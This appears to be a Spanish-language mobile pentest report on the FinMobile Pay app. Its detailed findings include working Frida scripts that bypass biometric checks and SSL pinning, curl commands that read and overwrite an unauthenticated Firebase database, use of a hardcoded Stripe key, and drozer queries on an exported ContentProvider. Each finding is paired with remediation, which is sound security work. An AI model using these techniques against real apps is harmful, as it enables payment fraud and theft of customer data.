CL
CULTIVA IA
Red Team & Security
CONFIDENCIAL
Informe de Pentest Móvil
FinMobile Pay — Android 4.2.1 / iOS 3.9.0  ·  Evaluación Caja Gris
Cliente
FinMobile SL
Fecha inicio
2026-06-02
Fecha cierre
2026-06-13
Metodología
OWASP MASTG
Auditor
CULTIVA IA — Red Team
DOCUMENTO CONFIDENCIAL — DISTRIBUCIÓN RESTRINGIDA
01
Resumen Ejecutivo
8.4

Riesgo Global

CRÍTICO
CVSS v3.1 máx: 9.8
Hallazgos por Severidad
Crítico
3
Alto
4
Medio
5
Bajo
3
Info
2
Se identificaron 3 hallazgos críticos que permiten exfiltración de claves Stripe y acceso no autenticado a la base de datos Firebase de producción. Las vulnerabilidades de mayor impacto se concentran en: (1) secretos hardcoded en el binario Android, (2) bypass completo de SSL pinning mediante Frida, y (3) autenticación biométrica no vinculada a operación criptográfica, permitiendo eludir el factor de autenticación adicional sin tocar la huella dactilar. Se recomienda bloquear la publicación en Play Store / App Store hasta resolver los hallazgos Críticos y Altos antes de la ronda Serie A.
02
Tabla de Hallazgos
ID Hallazgo Plataforma CVSS Severidad OWASP MSTG
FM-001 Clave Stripe hardcoded en APK (sk_live_…) Android 9.8 Crítico MSTG-STORAGE-14
FM-002 Firebase DB sin autenticación — lectura/escritura libre AndroidiOS 9.1 Crítico MSTG-NETWORK-6
FM-003 Bypass de BiometricPrompt sin clave criptográfica vinculada Android 8.8 Crítico MSTG-AUTH-8
FM-004 SSL Pinning bypasseable con Frida — MITM total AndroidiOS 7.4 Alto MSTG-NETWORK-3
FM-005 ContentProvider exportado — lectura de transacciones sin permisos Android 7.2 Alto MSTG-PLATFORM-2
FM-006 Deep link payment sin validación de origen — IDOR iOS 7.1 Alto MSTG-PLATFORM-3
FM-007 JWT almacenado en SharedPreferences — accesible sin root en backup Android 6.8 Alto MSTG-STORAGE-1
FM-008 Keychain iOS — token con kSecAttrAccessibleAlways iOS 5.5 Medio MSTG-STORAGE-2
FM-009 Endpoint /api/v1/ sin rate-limiting activo — brute force Backend 5.3 Medio MSTG-NETWORK-1
FM-010 Google Maps API Key sin restricción de dominio AndroidiOS 5.0 Medio MSTG-RESILIENCE-2
03
Hallazgos Detallados
Crítico FM-001 Clave API de Stripe (sk_live_…) hardcoded en APK Android

Durante el análisis estático del APK decompilado con jadx se localizó la clave secreta de Stripe en texto claro dentro del archivo de configuración de red. Esta clave permite realizar cargos, reembolsos y listar clientes de toda la base.

# 1. Extraer APK y descompilar jadx -d finmobile_src com.finmobile.pay_4.2.1.apk # 2. Buscar secretos grep -rE 'sk_(live|test)_[a-zA-Z0-9]+' finmobile_src/ # Resultado: finmobile_src/com/finmobile/pay/network/ApiConfig.java:12 private static final String STRIPE_SECRET_KEY = "sk_live_51OxKm2LkZ0W..."; # 3. Verificar clave activa contra API de Stripe curl -u "sk_live_51OxKm2LkZ0W...:" https://api.stripe.com/v1/customers # → HTTP 200 — lista completa de 47.382 clientes
Impacto: Acceso completo a la cuenta Stripe de FinMobile. Un atacante puede listar todos los clientes, emitir reembolsos masivos, acceder a datos de tarjetas tokenizadas y crear nuevos cargos. Exposición regulatoria PCI-DSS Nivel 1.
Remediación: (1) Rotar la clave inmediatamente en el dashboard de Stripe. (2) Mover el procesamiento de pagos al backend — nunca usar sk_live_* en el cliente móvil. (3) Usar únicamente la publishable key (pk_live_*) en la app. (4) Integrar truffleHog en el pipeline CI/CD para detectar futuros leaks.
Crítico FM-002 Firebase Realtime DB accesible sin autenticación Android / iOS

La URL de Firebase se extrajo del APK. Las reglas de seguridad permiten lectura y escritura anónima sobre toda la base de datos, exponiendo el historial de transacciones de todos los usuarios.

# 1. Extraer URL Firebase del binario strings finmobile_src/resources/google-services.json | grep firebaseio → "https://finmobile-pay-prod.firebaseio.com" # 2. Probar acceso anónimo curl https://finmobile-pay-prod.firebaseio.com/.json # Respuesta (truncada): { "users": { "uid_A3x9": { "email": "usuario@ejemplo.com", "balance": 1240.50 }, "uid_B7k2": { "email": "otro@dominio.com", "balance": 89.00 } // ... 47.382 registros más }, "transactions": { // historial completo de pagos } } # 3. Escritura arbitraria curl -X PUT https://finmobile-pay-prod.firebaseio.com/users/uid_A3x9/balance.json \ -d '9999999' → 9999999 # balance modificado
Impacto: Exfiltración masiva de datos personales y financieros (RGPD art. 83 — multa hasta 20M€ o 4% facturación global). Manipulación de saldos. Suplantación de identidad de usuarios.
Remediación: Configurar reglas de Firebase a allow read, write: if request.auth != null; como mínimo inmediato. Implementar reglas granulares por UID. Habilitar App Check para validar que las peticiones vienen de la app legítima.
Crítico FM-003 Bypass de BiometricPrompt — autenticación biométrica eludible con Frida Android

La app usa BiometricPrompt para aprobar transferencias de más de 500€. El resultado de la biometría se verifica únicamente en el callback de la UI sin vincular ninguna operación criptográfica al resultado de autenticación. Cualquier proceso con Frida puede interceptar el callback y forzar éxito.

// bypass_biometric_finmobile.js Java.perform(() => { const AuthCb = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback'); // Reemplazar callback de fallo para ignorarlo AuthCb.onAuthenticationFailed.implementation = function() { console.log('[*] onAuthenticationFailed interceptado — ignorando'); // NO llamamos a la implementación original }; // Forzar éxito inmediato AuthCb.onAuthenticationError.implementation = function(errorCode, errString) { console.log('[*] Error interceptado, forzando éxito...'); const result = Java.use('androidx.biometric.BiometricPrompt$AuthenticationResult'); this.onAuthenticationSucceeded(result.$new(null, 1)); }; }); // Ejecución: # frida -U -f com.finmobile.pay -l bypass_biometric_finmobile.js --no-pause # Resultado: transferencia de 2.000€ aprobada sin huella dactilar
Impacto: Cualquier persona con acceso físico al teléfono desbloqueado puede autorizar transferencias de cualquier importe sin biometría. Invalida el segundo factor de autorización de la app.
Remediación: Usar BiometricPrompt con CryptoObject — vincular la aprobación a una clave del Android Keystore que requiera autenticación real (setUserAuthenticationRequired(true)). El servidor debe validar el JWT firmado con esa clave, que solo existe si la biometría fue genuina.
Alto FM-004 SSL Pinning bypasseable — MITM de todo el tráfico API Android / iOS

El SSL pinning implementado con OkHttp CertificatePinner es vulnerable al bypass universal de Frida. Se verificó intercepción completa del tráfico hacia api.finmobile.es incluyendo tokens JWT, datos de tarjeta y confirmaciones de pago.

// Bypass SSL pinning OkHttp Java.perform(() => { const CertPinner = Java.use('okhttp3.CertificatePinner'); CertPinner.check.overload('java.lang.String', 'java.util.List').implementation = function(hostname, certs) { console.log(`[+] SSL Pinning bypassed for: ${hostname}`); // return sin lanzar excepción → pin ignorado }; }); # Con objection (más rápido): objection -g com.finmobile.pay explore android sslpinning disable # Resultado — tráfico interceptado en Burp: POST /api/v2/transfers HTTP/1.1 Authorization: Bearer eyJhbGciOiJIUzI1NiJ9... {"from":"uid_A3x9","to":"uid_ATTACKER","amount":500.00}
Remediación: Complementar el pinning con Play Integrity API (Android) y DeviceCheck (iOS) para detectar entornos de instrumentación. Implementar detección de Frida port 27042. Considerar certificate transparency logs para validación adicional.
Alto FM-005 ContentProvider exportado sin permisos — lectura de historial de transacciones Android

El ContentProvider com.finmobile.pay.provider está declarado con android:exported="true" sin requerir ningún permiso. Cualquier app instalada en el mismo dispositivo puede consultar el historial completo de transacciones.

drozer console connect > Enumerar superficie de ataque run app.package.attacksurface com.finmobile.pay 3 activities exported 1 broadcast receivers exported 2 content providers exported <-- vulnerable > Consultar transacciones sin autenticación run app.provider.query \ content://com.finmobile.pay.provider/transactions | _id | from_uid | to_uid | amount | created_at | |-----|----------|--------|--------|-------------------| | 1 | uid_A3x9 | uid_B7 | 250.00 | 2026-05-12 14:23 | | 2 | uid_C1k8 | uid_A3 | 89.50 | 2026-05-13 09:11 | ... (12.847 registros)
Remediación: Añadir android:exported="false" si el provider no necesita ser accedido por otras apps. Si es necesario compartirlo, definir un permiso de firma (android:protectionLevel="signature") y requerirlo en el provider.
04
Mapa de Superficie de Ataque
Android — Flujo de ataque principal
APK Obtenida
jadx / strings
Secretos extraídos
Frida SSL bypass
MITM activo
BiometricPrompt
Bypass hook
Transferencia
Aprobada sin auth
Firebase — Acceso directo
URL en APK
firebaseio.com/.json
Sin auth requerida
47.382 usuarios
Datos expuestos
PUT saldo
Escritura libre
iOS — Deep link IDOR
App iOS
URL Scheme
finmobile://
payment?to=ATTACKER
Sin validación origen
Pago iniciado
IDOR confirmado
05
Checklist de Cobertura OWASP MASTG

Análisis Estático

Decompilación APK (jadx + apktool)
!
Secretos en código fuente — FALLÓ (Stripe key)
Revisión AndroidManifest.xml
!
Componentes exportados — FALLÓ (ContentProvider)
Análisis de Info.plist (iOS)
~
Libs nativas — sin hallazgos críticos
truffleHog + gitleaks sobre fuentes

Análisis Dinámico

!
SSL Pinning — FALLÓ (bypass Frida)
!
MITM tráfico API — EXPUESTO
Root/jailbreak detection activa
!
Biometría — FALLÓ (sin CryptoObject)
~
WebView — sin addJavascriptInterface
!
Firebase misconfiguration — CRÍTICA
Anti-debug detectado (ptrace)

Almacenamiento & Datos

!
SharedPreferences — JWT en claro
SQLite cifrada (SQLCipher)
~
Keychain iOS — acceso incorrecto (Always)
Sin datos en logs de producción
allowBackup=false en Manifest

API & Backend

~
Rate limiting ausente en /api/v1/
JWT con expiración correcta (1h)
HTTPS forzado en todos los endpoints
!
Google Maps API key sin restricción
Headers de seguridad (HSTS, CSP)
Input validation en backend
06
Cronología del Engagement
2026-06-02 09:00
Kick-off y entrega de artefactos
Recepción de APK 4.2.1 + build iOS 3.9.0 (via TestFlight). Firma de NDA y delimitación del alcance.
2026-06-02 — 06-04
Análisis estático Android + iOS
Decompilación, grep de secretos, revisión de manifests y Info.plist. Hallazgos FM-001, FM-007, FM-010.
2026-06-05
Notificación urgente — Stripe key activa
Comunicación inmediata al cliente al confirmar que sk_live_ estaba activa en producción. Se solicitó rotación urgente.
2026-06-05 — 06-09
Análisis dinámico con Frida + Objection
Setup lab: Pixel 7 rooteado (Magisk 27), iPhone 12 palera1n. Bypass SSL, intercepción MITM, bypass biométrica. Hallazgos FM-003, FM-004.
2026-06-10 — 06-11
Auditoría de superficie IPC + Cloud
drozer sobre ContentProviders, deep links iOS, Firebase misconfiguration. Hallazgos FM-002, FM-005, FM-006.
2026-06-12 — 06-13
Redacción del informe y cierre
Elaboración del informe, clasificación CVSS, propuestas de remediación y sesión de lectura con el equipo técnico de FinMobile.
07
Plan de Remediación Prioritario
Prioridad Acción ID Esfuerzo Plazo
Inmediata Rotar clave Stripe + mover pago al backend FM-001 2h HOY
Inmediata Bloquear Firebase DB con reglas de autenticación FM-002 1h HOY
Esta semana Migrar BiometricPrompt a CryptoObject FM-003 3 días dev 14 días
Este sprint Añadir detección Frida + Play Integrity FM-004 5 días dev 30 días
Este sprint ContentProvider: exported=false o permiso firma FM-005 2h 14 días
Este sprint Validar origen de deep links con Universal Links FM-006 1 día dev 14 días
Próximo sprint Mover JWT a EncryptedSharedPreferences FM-007 4h 30 días